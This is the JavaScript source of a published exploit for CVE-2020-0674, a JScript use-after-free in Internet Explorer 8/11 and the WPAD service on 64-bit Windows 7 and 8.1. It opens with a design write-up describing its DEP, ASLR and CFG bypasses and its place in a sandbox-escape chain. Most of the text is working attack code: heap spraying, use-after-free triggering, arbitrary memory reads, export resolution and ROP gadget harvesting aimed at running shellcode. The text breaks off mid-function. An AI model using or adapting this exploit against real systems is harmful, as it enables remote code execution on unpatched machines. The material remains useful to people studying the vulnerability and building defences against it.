1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 |
# Exploit Title: Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free # Date: 2021-05-04 # Exploit Author: deadlock (Forrest Orr) # Vendor Homepage: https://www.microsoft.com/ # Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx # Versions: IE 8-11 (64-bit) as well as the WPAD service (64-bit) on Windows 7 and 8.1 x64 # Tested on: Windows 7 x64, Windows 8.1 x64 # CVE: CVE-2020-0674 # Bypasses: DEP, ASLR, CFG # Original (IE-only/Windows 7-only) exploit credits: maxpl0it # Full explain chain writeup: https://github.com/forrest-orr/DoubleStar /* ________ ___..__ ___________ \______ \____ __ __\_ |__||____ / _____/_/|_ ____________ ||\/_ \ ||\| __ \ ||_/ __ \\_____\ \ __\\__\ \___ \ |` \(<_> )||/| \_\ \||__\___//\ || / __ \_|| \/ /_______/ \____/ |____/ |___/|____/ \___>/_______/ |__|(____/|__| \/\/\/ \/ \/ Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain ______________ | Remote PAC | |____________| ^ | HTTPS _______________RPC/ALPC _______________ RPC/ALPC _______________ | firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe | |_____________| |_____________| <----------- |_____________| |RPC/Pipe | _______________ | | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM |_____________| ~ Component JavaScript file containing CVE-2020-0674 UAF targetting IE8/11 and WPAD 64-bit on Windows 7 and 8.1 x64. It may be used as an alternative RCE attack vector in the exploit chain (in which case it should be used in conjunction with the stage two WPAD sandbox escape shellcode), as a PAC file (see settings) or a stand-alone IE8/11 64-bit exploit. Note that if used as the initial RCE in the full exploit chain, Windows 7 is unsupported by the required stage two WPAD sandbox escape shellcode. ________________CVE-2020-0674 _______________________RPC/ALPC _______________ | iexplore.exe | -------------> | WPAD sandbox escape | ----------> | svchost.exe | |______________|| shellcode (heap)| |_____________| |_____________________| ~ Overview This is a 64-bit adaptation of CVE-2020-0674 which can exploit both IE8/11 64-bit as well as the WPAD service on Windows 7 and 8.1 x64. It has bypasses for DEP, ASLR, and CFG. It uses dynamic ROP chain creation for its RIP hijack and stack pivot. Notably, this exploit does not contain bypasses for Windows Exploit Guard or EMET 5.5 and does not work on IE11 or WPAD in Windows 10. ~ Design The UAF is a result of two untracked variables passed to a comparator for the Array.sort method, which can then be used to reference VAR structs within allocated GcBlock regions which can subsequently be freed via garbage collection. Control of the memory of VAR structs with active JS var references in the runtime script is then used for arbitrary read (via BSTR) and addrof primitives. Ultimately the exploit aims to use KERNEL32.DLL!VirtualProtect to disable DEP on a user defined shellcode stored within a BSTR on the heap. This is achieved through use of NTDLL.DLL!NtContinue, an artificial stack (built on the heap) and a dynamically resolved stack pivot ROP gadget. NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET RCX = Shellcode address RDX = Shellcode size R8 = 0x40 R9 = Leaked address of BSTR to hold out param RSP = Real stack pointer R11 = Artificial stack |-----------------------------|^ | 2MB stack space (heap)|| |-----------------------------|| | Heap header/BSTR len align|| |-----------------------------|| | KERNEL32.DLL!VirtualProtect | <----------| |-----------------------------| | Shellcode return address] |-----------------------------| The logic flow is: 1. A fake object with a fake vtable is constructed containing the address of NTDLL.DLL!NtContinue as its "typeof" method pointer. This primitive is used for RIP hijack in conjunction with a pointer to a specially crafted CONTEXT structure in RCX as its parameter. 2. NtContinue changes RIP to a stack pivot gadget and sets up the parameters to KERNEL32.DLL!VirtualProtect. 3. The address of VirtualProtect is the first return address to be consumed on the new (artificial) stack after the stack pivot. 4. VirtualProtect disables DEP on the shellcode region and returns to that same (now +RWX) shellcode address stored as the second return address on the pivoted stack. Notably, the stack pivot was needed here due to the presence of CFG on Windows 8.1, which prevents NtContinue from being used to change RSP to an address which falls outside the stack start/end addresses specified in the TEB. On Windows 7 this is a non-issue. Furthermore, it required a leak of RSP to be planted in the CONTEXT structure so that NtContinue would consider its new RSP valid. The exploit will not work on Windows 10 due to enhanced protection by CFG: Windows 10 has blacklisted NTDLL.DLL!NtContinue to CFG by default. ~ Credits maxpl0it- for doing the original analysis and PoC for CVE-2020-0674 on IE8/11 on Windows 7 x64. HackSys Team- for tips on the WPAD service and low level JS debugging. */ //////// //////// // Global settings //////// var PayloadType = "shellcode"; // Can be "shellcode" or "winexec" var CommandStr = "\u3a63\u775c\u6e69\u6f64\u7377\u6e5c\u746f\u7065\u6461\u652e\u6578"; // The ASCII string to be executed via WinExec if the relevant payload type is selected - C:\Windows\notepad.exe var WindowsVersion = 8.1; // Can be 8.1 or 7. Only the 64-bit versions of these OS are supported. var PacFile = false; var EnableDebug = false; var EnableTimers = false; var AlertOutput = false; //////// //////// // Stack-sensitive array initialization logic //////// var SortArray = new Array(); // Initializing this locally rather than globally causes stack issues, particularly in regards to WPAD. for(var i = 0; i <= 150; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort comparator //////// //////// // Debug/timer code //////// var TimeStart; var ReadCount; var ScriptTimeStart = new Date().getTime(); function StartTimer() { ReadCount = 0; TimeStart = new Date().getTime(); } function EndTimer(Message) { var TotalTime = (new Date().getTime() - TimeStart); if(EnableTimers) { if(AlertOutput) { alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } else { console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } } } function DebugLog(Message) { if(EnableDebug) { // When debug is enabled the distinction between "stack overflow" and "out of memory" errors are lost: console always determines there to be an "out of memory" condition even though this only sppears after scoping of SortDepth is changed. if(AlertOutput) { alert(Message); } else { console.log(Message); // In IE, console only works if devtools is open. } } } //////// //////// // UAF/untracked variable creation code //////// var UntrackedVarSet; var VarSpray; var VarSprayCount = 20000; // 200 GcBlocks var NameListAnchors; var NameListAnchorCount = 0; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim var SortDepth = 0; function GlitchedComparator(Untracked1, Untracked2) { Untracked1 = VarSpray[SortDepth*2]; Untracked2 = VarSpray[SortDepth*2 + 1]; if(SortDepth >= 150) { VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks CollectGarbage(); // Free the GcBlocks UntrackedVarSet.push(Untracked1); UntrackedVarSet.push(Untracked2); } else { SortDepth += 1; // There is a difference between the stack size between WPAD and Internet Explorer. In IE, a stack overflow exception will occur around depth 250 however in WPAD it will occur on a depth of less than 150, ensuring a stack overflow exception/alert will be thrown in the exploit. This try/catch in conjunction with a global initialization of the sort array allows the depth to be sufficient to produce an untracked var which will overlap with the type confusion offset in the re-claimed GcBlock. try { SortArray[SortDepth].sort(GlitchedComparator); } catch(ex) { VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks CollectGarbage(); // Free the GcBlocks } UntrackedVarSet.push(Untracked1); UntrackedVarSet.push(Untracked2); } return 0; } function NewUntrackedVarSet() { SortDepth = 0; VarSpray = new Array(); NameListAnchors = new Array(); UntrackedVarSet = new Array(); for(var i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray for(var i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object(); CollectGarbage(); SortArray[0].sort(GlitchedComparator); // Two untracked vars will be passed to this method by the JS engine } //////// //////// // UAF re-claim/mutable variable code (used for arbitrary read) //////// var AnchorObjectsBackup; var LeakedAnchorIndex = -1; var SizerPropName = Array(570).join('A'); var MutableVar; var ReClaimNameList; var InitialReClaim = true; function ReClaimIndexNameList(Value, PropertyName) { CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability. AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation CollectGarbage(); // Free the leaked NameList AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit AnchorObjectsBackup[LeakedAnchorIndex]["\u0005"] = 1; AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable ReadCount++; } function ReClaimBackupNameLists(Value, PropertyName) { var PrecisionReClaimAllocCount = 500; // This is the number of re-claim attempts that are needed for a precision re-claim of a single freed region, not hundreds such as in the case of the GcBlock/type confusion re-claims. On IE8/11 300 is plenty, on WPAD 500 seems to be more stable. CollectGarbage(); // Cleanup if(InitialReClaim) { AnchorObjectsBackup[LeakedAnchorIndex] = null; InitialReClaim = false; PrecisionReClaimAllocCount -= 1; AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); // Clog the index } for(var i = 0; i < PrecisionReClaimAllocCount; i++) { if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = null; } CollectGarbage(); // Free the leaked NameList for(var i = 0; i < PrecisionReClaimAllocCount; i++) { if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = new Object(); AnchorObjectsBackup[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size AnchorObjectsBackup[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit AnchorObjectsBackup[i]["\u0005"] = 1; AnchorObjectsBackup[i][PropertyName] = Value; // The mutable variable } ReadCount++; } function CreateVar64(Type, ObjPtrLow, ObjPtrHigh, NextPtrLow, NextPtrHigh) { var CharCodes = new Array(); CharCodes.push( // Type Type, 0, 0, 0, // Object pointer ObjPtrLow & 0xffff, (ObjPtrLow >> 16) & 0xffff, ObjPtrHigh & 0xffff, (ObjPtrHigh >> 16) & 0xffff, // Next pointer NextPtrLow & 0xffff, (NextPtrLow >> 16) & 0xffff, NextPtrHigh & 0xffff, (NextPtrHigh >> 16) & 0xffff); return String.fromCharCode.apply(null, CharCodes); } function LeakByte64(Address) { ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte. } function LeakWord64(Address) { ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); } function LeakDword64(Address) { ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); return LowWord + (HighWord << 16); } function LeakQword64(Address) { ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0)); var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(0, CreateVar64(0x8, Address.low + 6, Address.high, 0, 0)); var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(0, CreateVar64(0x8, Address.low + 8, Address.high, 0, 0)); var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); return MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16)); } function LeakObjectAddress64(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address. ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 2, ObjVarAddress.high, 0, 0)); var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 4, ObjVarAddress.high, 0, 0)); var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 6, ObjVarAddress.high, 0, 0)); var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 8, ObjVarAddress.high, 0, 0)); var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); var DerefObjVarAddress = MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16) + 8); return LeakQword64(DerefObjVarAddress); // The concept here is to turn the property name (the mutable var) into a BSTR VAR pointing at its own VVAL (which starts with another, real VAR). The real VAR can be set dynamically to the address of the desired object. So there are two stages: first to read the object pointer out of the VAR within the final VVAL, and then to leak the object pointer of the VAR it is pointing to (skipping +8 over its Type field) } //////// //////// // PE parsing/EAT and IAT resolution code //////// function ResolveExport64(ModuleBase, TargetExportNameTable) { var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c)); var EATRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x88)); if(EATRva) { var TotalExports = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x14)); var AddressRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x1C)); var NameRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x20)); var OrdinalRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x24)); var MaxIndex = TotalExports; var MinIndex = 0; var CurrentIndex = Math.floor(TotalExports / 2); var TargetTableIndex = 0; var BinRes = 0; var TrailingNullWord = false; if((TargetExportNameTable[TargetExportNameTable.length - 1] & 0xFFFFFF00) == 0) { TrailingNullWord = true; } while(TotalExports) { var CurrentNameRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + NameRvas + 4*CurrentIndex)); while (TargetTableIndex < TargetExportNameTable.length) { var CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)))); var TargetExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF); var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord); var FinalTableIndex = false; if((TargetTableIndex + 1) >= TargetExportNameTable.length) { FinalTableIndex = true; } BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord); if(!BinRes) { TargetExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16); CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)) + 2)); SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord); if(TrailingNullWord && FinalTableIndex) { var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex)); var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal))); return MainExport; } BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord); if(!BinRes) { if(FinalTableIndex) { var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex)); var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal))); return MainExport; } TargetTableIndex++; } else { TargetTableIndex = 0; break; } } else { TargetTableIndex = 0; break; } } if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index if(MaxIndex == CurrentIndex) { DebugLog("Failed to find export: index hit max"); break; } MaxIndex = CurrentIndex; CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2); } else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index if(MinIndex == CurrentIndex) { DebugLog("Failed to find export: index hit min"); break; } MinIndex = CurrentIndex; CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2); } if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) { DebugLog("Failed to find export: current, min and max indexes are all equal"); break; } } } return MakeQword(0, 0); } function SelectRandomImport64(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module var ExtractedAddresss = MakeQword(0, 0); var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c)); var ImportDataDirAddress = MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x90); // Import data directory var ImportRva = LeakDword64(ImportDataDirAddress); var ImportSize = LeakDword64(MakeQword(ImportDataDirAddress.high, ImportDataDirAddress.low + 0x4)); // Get the size field of the import data dir var DescriptorAddress = MakeQword(ModuleBase.high, ModuleBase.low + ImportRva); while(ImportSize != 0) { var NameRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0xc)); // 0xc is the offset to the module name pointer if(NameRva != 0) { if(StrcmpLeak64(TargetModuleNameTable, MakeQword(ModuleBase.high, ModuleBase.low + NameRva))) { var ThunkRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0x10)); ExtractedAddresss = LeakQword64(MakeQword(ModuleBase.high, ModuleBase.low + ThunkRva + 0x18)); // +0x18 (4 thunks forwarded) since __imp___C_specific_handler can cause issues when imported in some jscript instances, and similarly on Windows 10 the 2nd import is ResolveDelayLoadedAPI which is forwarded to NTDLL.DLL. break; } ImportSize -= 0x14; DescriptorAddress.low += 0x14; // Next import descriptor in array } else { break; } } return ExtractedAddresss; } function DiveModuleBase64(Address) { Address.low = (Address.low & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header. while(true) { if(LeakWord64(Address) == 0x6854) { // 'hT' if(LeakWord64(MakeQword(Address.high, Address.low + 2)) == 0x7369) { // 'si' return MakeQword(Address.high, Address.low - 0x4e); } } Address.low -= 0x10000; } return MakeQword(0, 0); } function BaseFromImports64(ModuleBase, TargetModuleNameTable) { var RandomImportAddress = SelectRandomImport64(ModuleBase, TargetModuleNameTable); if(RandomImportAddress.low || RandomImportAddress.high) { return DiveModuleBase64(RandomImportAddress); } return MakeQword(0, 0); } //////// //////// // Misc. helper functions //////// function NullSanitizeWord(StrWord) { var Sanitized = 0; if(StrWord != 0) { if((StrWord & 0x00FF) == 0) { Sanitized = 0; // First byte is NULL, end of the string. } else { Sanitized = StrWord; } } return Sanitized; } function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater if(TargetNum == CmpNum) { return 0; } while(true) { if((TargetNum & 0xff) > (CmpNum & 0xff)) { return -1; } else if((TargetNum & 0xff) < (CmpNum & 0xff)) { return 1; } TargetNum = TargetNum >> 8; CmpNum = CmpNum >> 8; } } function DwordToUnicode(Dword) { var Unicode = String.fromCharCode(Dword & 0xFFFF); Unicode += String.fromCharCode(Dword >> 16); return Unicode; } function QwordToUnicode(Value) { return String.fromCharCode.apply(null, [Value.low & 0xffff, (Value.low >> 16) & 0xffff, Value.high & 0xffff, (Value.high >> 16) & 0xffff]); } function TableToUnicode(Table) { var Unicode = ""; for(var i = 0; i < Table.length; i++) { Unicode += DwordToUnicode(Table[i]); } return Unicode; } function DwordArrayToBytes(DwordArray) { var ByteArray = []; for(var i = 0; i < DwordArray.length; i++) { ByteArray.push(DwordArray[i] & 0xffff); ByteArray.push((DwordArray[i] & 0xffff0000) >> 16); } return String.fromCharCode.apply(null, ByteArray); } function StrcmpLeak64(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address var TargetTableIndex = 0; while (TargetTableIndex < StrDwordTable.length) { var LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex))); var SanitizedStrWord = NullSanitizeWord(LeakStrWord); var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF); if(TableWord == SanitizedStrWord) { LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex) + 2)); SanitizedStrWord = NullSanitizeWord(LeakStrWord); TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16); if(TableWord == SanitizedStrWord) { if((TargetTableIndex + 1) >= StrDwordTable.length) { return true; } TargetTableIndex++; } else { break; } } else { break; } } return false; } function MakeDouble(High, Low) { return Int52ToDouble(QwordToInt52(High, Low)); } function QwordToInt52(High, Low) { // Sanity check via range. Not all QWORDs are going to be valid52-bit integers that can be converted to doubles if ((Low !== Low|0) && (Low !== (Low|0)+4294967296)) { DebugLog ("Low out of range: 0x" + Low.toString(16)); } if (High !== High|0 && High >= 1048576) { DebugLog ("High out of range: 0x" + High.toString(16)); } if (Low < 0) { Low += 4294967296; } return High * 4294967296 + Low; } function Int52ToDouble(Value) { var Low = Value | 0; if (Low < 0) { Low += 4294967296; } var High = Value - Low; High /= 4294967296; if ((High < 0) || (High >= 1048576)) { DebugLog("Fatal error - not an int52: 0x" + Value.toString(16)); Loew = 0; High = 0; } return { low: Low, high: High }; } function MakeQword(High, Low) { return { low: Low, high: High }; } //////// //////// // Dynamic ROP chain creation code //////// function HarvestGadget64(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) { var MaxHighAddress = MakeQword(HintExportAddress.high, (HintExportAddress.low + MagicOffset + MaxDelta)); var MinLowAddress = MakeQword(HintExportAddress.high, ((HintExportAddress.low + MagicOffset) - MaxDelta)); var LeakAddress = MakeQword(HintExportAddress.high, HintExportAddress.low + MagicOffset); var LeakFunc = LeakDword64; // Leaking by DWORD causes some quirks on 64-bit. Bitwise NOT solves issue. var InitialAddress = LeakAddress; var IndexDelta; if(MinLowAddress.low < HintExportAddress.low) { MinLowAddress.low = HintExportAddress.low; // Don't bother scanning below the hint export } DebugLog("Hunting for gadget 0x" + Data.toString(16) + " between 0x" + MinLowAddress.high.toString(16) + MinLowAddress.low.toString(16) + " and 0x" + MaxHighAddress.high.toString(16) + MaxHighAddress.low.toString(16) + " starting from 0x" + LeakAddress.high.toString(16) + LeakAddress.low.toString(16) + " based on hint export at 0x" + HintExportAddress.high.toString(16) + HintExportAddress.low.toString(16)); if(DataMask == 0x0000FFFF) { LeakFunc = LeakWord64; } var LeakedData = LeakFunc(LeakAddress); if((~LeakedData & DataMask) == ~Data) { DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16)); } else { var HighAddress = MakeQword(LeakAddress.high, LeakAddress.low + 1); var LowAddress = MakeQword(LeakAddress.high, LeakAddress.low - 1); LeakAddress = MakeQword(0, 0); while(LowAddress.low >= MinLowAddress.low || HighAddress.low < MaxHighAddress.low) { if(LowAddress.low >= MinLowAddress.low) { LeakedData = LeakFunc(LowAddress); if((~LeakedData & DataMask) == ~Data) { DebugLog("Found gadget from scan below magic at 0x" + LowAddress.high.toString(16) + LowAddress.low.toString(16)); LeakAddress = LowAddress; break; } LowAddress.low -= 1; } if(HighAddress.low < MaxHighAddress.low) { LeakedData = LeakFunc(HighAddress); if((~LeakedData & DataMask) == ~Data) { LeakAddress = HighAddress; IndexDelta = (LeakAddress.low - InitialAddress.low); DebugLog("Found gadget from scan above magic at 0x" + HighAddress.high.toString(16) + HighAddress.low.toString(16) + " (index " + IndexDelta.toString(10) + ")"); break; } HighAddress.low += 1; } } } return LeakAddress; } //////// //////// // Primary high level exploit logic //////// function MakeContextDEPBypass64(NewRSP, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeSize, WritableAddress) { return "\u0000\u0000\u0000\u0000" + // P3Home "\u0000\u0000\u0000\u0000" + // P4Home "\u0000\u0000\u0000\u0000" + // P5Home "\u0000\u0000\u0000\u0000" + // P6Home "\u0003\u0010" + 